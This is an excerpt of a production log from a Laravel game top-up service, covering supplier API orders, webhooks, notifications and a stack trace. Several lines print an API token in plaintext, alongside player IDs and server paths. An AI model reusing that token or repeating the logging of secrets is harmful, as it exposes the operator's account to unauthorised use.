[2026-03-24 20:38:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-gWk37Q-1774373886","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:38:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:38:18] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":179343} 
[2026-03-24 20:38:18] production.INFO: Order updated successfully. Order ID: 179343, Status: completed  
[2026-03-24 20:38:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gWk37Q-1774373886","status":"completed","codes_count":0} 
[2026-03-24 20:38:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 20:38:40] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:38:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 64  
[2026-03-24 20:38:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 20:39:18] production.INFO: Constructing job for order: 179344  
[2026-03-24 20:39:19] production.INFO: Handling job for order: 179344  
[2026-03-24 20:39:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:39:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:39:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=3ef01dd0-87d7-4bc5-9a4e-cb0fab815a6d&Player_ID=5303500245  
[2026-03-24 20:39:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=3ef01dd0-87d7-4bc5-9a4e-cb0fab815a6d&Player_ID=5303500245","has_body":false} 
[2026-03-24 20:39:19] production.INFO: Operation sent successfully {"operation_id":164222,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-uXpsDK-1774373959","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:39:19"}},"processed_data":{"order_number":"ORD-uXpsDK-1774373959","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 20:39:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-uXpsDK-1774373959","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:39:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-uXpsDK-1774373959","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:39:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:39:41] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":179344} 
[2026-03-24 20:39:41] production.INFO: Order updated successfully. Order ID: 179344, Status: completed  
[2026-03-24 20:39:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-uXpsDK-1774373959","status":"completed","codes_count":0} 
[2026-03-24 20:39:42] production.INFO: Constructing job for order: 179345  
[2026-03-24 20:39:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 20:39:43] production.INFO: Handling job for order: 179345  
[2026-03-24 20:39:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:39:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:39:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2aa6d706-a8a1-4fb3-a980-40a1a44634dc&Player_ID=52357583407  
[2026-03-24 20:39:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2aa6d706-a8a1-4fb3-a980-40a1a44634dc&Player_ID=52357583407","has_body":false} 
[2026-03-24 20:39:44] production.INFO: Operation sent successfully {"operation_id":164223,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6rPI-1774373984","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:39:44"}},"processed_data":{"order_number":"ORD-6rPI-1774373984","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 20:39:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-6rPI-1774373984","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:39:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-6rPI-1774373984","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:39:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:39:56] production.INFO: SendAcceptReject: Notification queued {"user_id":1131,"notification_type":"order_approved","reference_id":179345} 
[2026-03-24 20:39:56] production.INFO: Order updated successfully. Order ID: 179345, Status: completed  
[2026-03-24 20:39:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-6rPI-1774373984","status":"completed","codes_count":0} 
[2026-03-24 20:39:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1131  
[2026-03-24 20:40:00] production.INFO: Constructing job for order: 179346  
[2026-03-24 20:40:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02"} 
[2026-03-24 20:40:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","total_operations":2,"sites_count":1} 
[2026-03-24 20:40:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-Cx8j-1774373470","ORD-mzpSX4-1774373669"]} 
[2026-03-24 20:40:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:40:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 20:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Cx8j-1774373470","operation_id":164213} 
[2026-03-24 20:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218} 
[2026-03-24 20:40:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 20:40:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"processed":0,"errors":0} 
[2026-03-24 20:40:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JasEXxXUMLsCdSb9GZdBQs06LtbJeom4","execution_time":"2026-03-24 20:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218} 
[2026-03-24 20:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 20:40:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 20:40:04] production.INFO: async() رجع: true  
[2026-03-24 20:40:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:40:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:40:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:40:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:40:06] production.INFO: Handling job for order: 179346  
[2026-03-24 20:40:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:40:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:40:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=dad390e8-b59e-4d39-b86a-ccb5df710946&Player_ID=51957524285  
[2026-03-24 20:40:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=dad390e8-b59e-4d39-b86a-ccb5df710946&Player_ID=51957524285","has_body":false} 
[2026-03-24 20:40:07] production.INFO: Operation sent successfully {"operation_id":164224,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8eCh-1774374006","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:40:07"}},"processed_data":{"order_number":"ORD-8eCh-1774374006","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 20:40:12] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1500.0","mainamount":"1500","operation_number":"158710153","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php2fq0frjov1q0aALln4M"}},"user_id":769} 
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:40:13] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:40:13] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18704,"user_id":769,"amount":1500.0,"admins_notified":7} 
[2026-03-24 20:40:23] production.INFO: Constructing job for order: 179347  
[2026-03-24 20:40:25] production.INFO: Handling job for order: 179347  
[2026-03-24 20:40:25] production.ERROR: API failed for order 179347 {"order_id":179347,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179347, 30, 1, 'c267dba2-96fb-4...', '[{\"key\":\"player...', 9, 722)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179347)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 20:40:25","memory_usage":57147392,"memory_peak":57147392}} 
[2026-03-24 20:40:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8eCh-1774374006","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:40:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-8eCh-1774374006","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:40:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:40:38] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":179346} 
[2026-03-24 20:40:38] production.INFO: Order updated successfully. Order ID: 179346, Status: completed  
[2026-03-24 20:40:38] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8eCh-1774374006","status":"completed","codes_count":0} 
[2026-03-24 20:40:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 20:41:48] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:41:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 20:41:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 20:42:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04"} 
[2026-03-24 20:42:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","total_operations":2,"sites_count":1} 
[2026-03-24 20:42:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-Cx8j-1774373470","ORD-mzpSX4-1774373669"]} 
[2026-03-24 20:42:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:42:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 20:42:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218} 
[2026-03-24 20:42:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 20:42:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:42:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"count":1} 
[2026-03-24 20:42:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"count":1} 
[2026-03-24 20:42:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"user_id":1759,"notification_type":"order_approved","reference_id":179335} 
[2026-03-24 20:42:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:42:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:42:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"processed":1,"errors":0} 
[2026-03-24 20:42:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218,"processed":1,"errors":0} 
[2026-03-24 20:42:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yx9hKpTUNJCtU1mH21LYcPwyGucRiO5Z","execution_time":"2026-03-24 20:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mzpSX4-1774373669","operation_id":164218} 
[2026-03-24 20:42:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 20:42:05] production.INFO: Constructing job for order: 179348  
[2026-03-24 20:42:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Cx8j-1774373470","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:42:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-Cx8j-1774373470","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:42:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:42:05] production.ERROR: Order not found or already processed. External ID: ORD-Cx8j-1774373470  
[2026-03-24 20:42:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Cx8j-1774373470","status":"completed","codes_count":0} 
[2026-03-24 20:42:07] production.INFO: Handling job for order: 179348  
[2026-03-24 20:42:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:42:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:42:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/596/params?qty=7000&uuid=914c30b3-9ded-43fe-85bd-d0b516bab469&Player_ID=102868801  
[2026-03-24 20:42:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/596/params?qty=7000&uuid=914c30b3-9ded-43fe-85bd-d0b516bab469&Player_ID=102868801","has_body":false} 
[2026-03-24 20:42:08] production.INFO: Operation sent successfully {"operation_id":164225,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-P2Wh-1774374128","amount":2.42153520000000010981011655530892312526702880859375,"status":"processing","product":"Lama Amount","game":"Lama","notes":[],"created_at":"2026-03-24 20:42:08"}},"processed_data":{"order_number":"ORD-P2Wh-1774374128","amount":2.42153520000000010981011655530892312526702880859375,"status":"processing","product":"Lama Amount","game":"Lama"}} 
[2026-03-24 20:42:43] production.INFO: SendAcceptReject: Notification queued {"user_id":1724,"notification_type":"request_approved","reference_id":18703} 
[2026-03-24 20:42:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1724  
[2026-03-24 20:42:55] production.INFO: SendAcceptReject: Notification queued {"user_id":769,"notification_type":"request_approved","reference_id":18704} 
[2026-03-24 20:42:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 769  
[2026-03-24 20:43:19] production.INFO: Constructing job for order: 179349  
[2026-03-24 20:43:20] production.INFO: Handling job for order: 179349  
[2026-03-24 20:43:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:43:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:43:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=62924444-398f-4854-a553-7897511db7a5&Player_ID=5769221037  
[2026-03-24 20:43:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=62924444-398f-4854-a553-7897511db7a5&Player_ID=5769221037","has_body":false} 
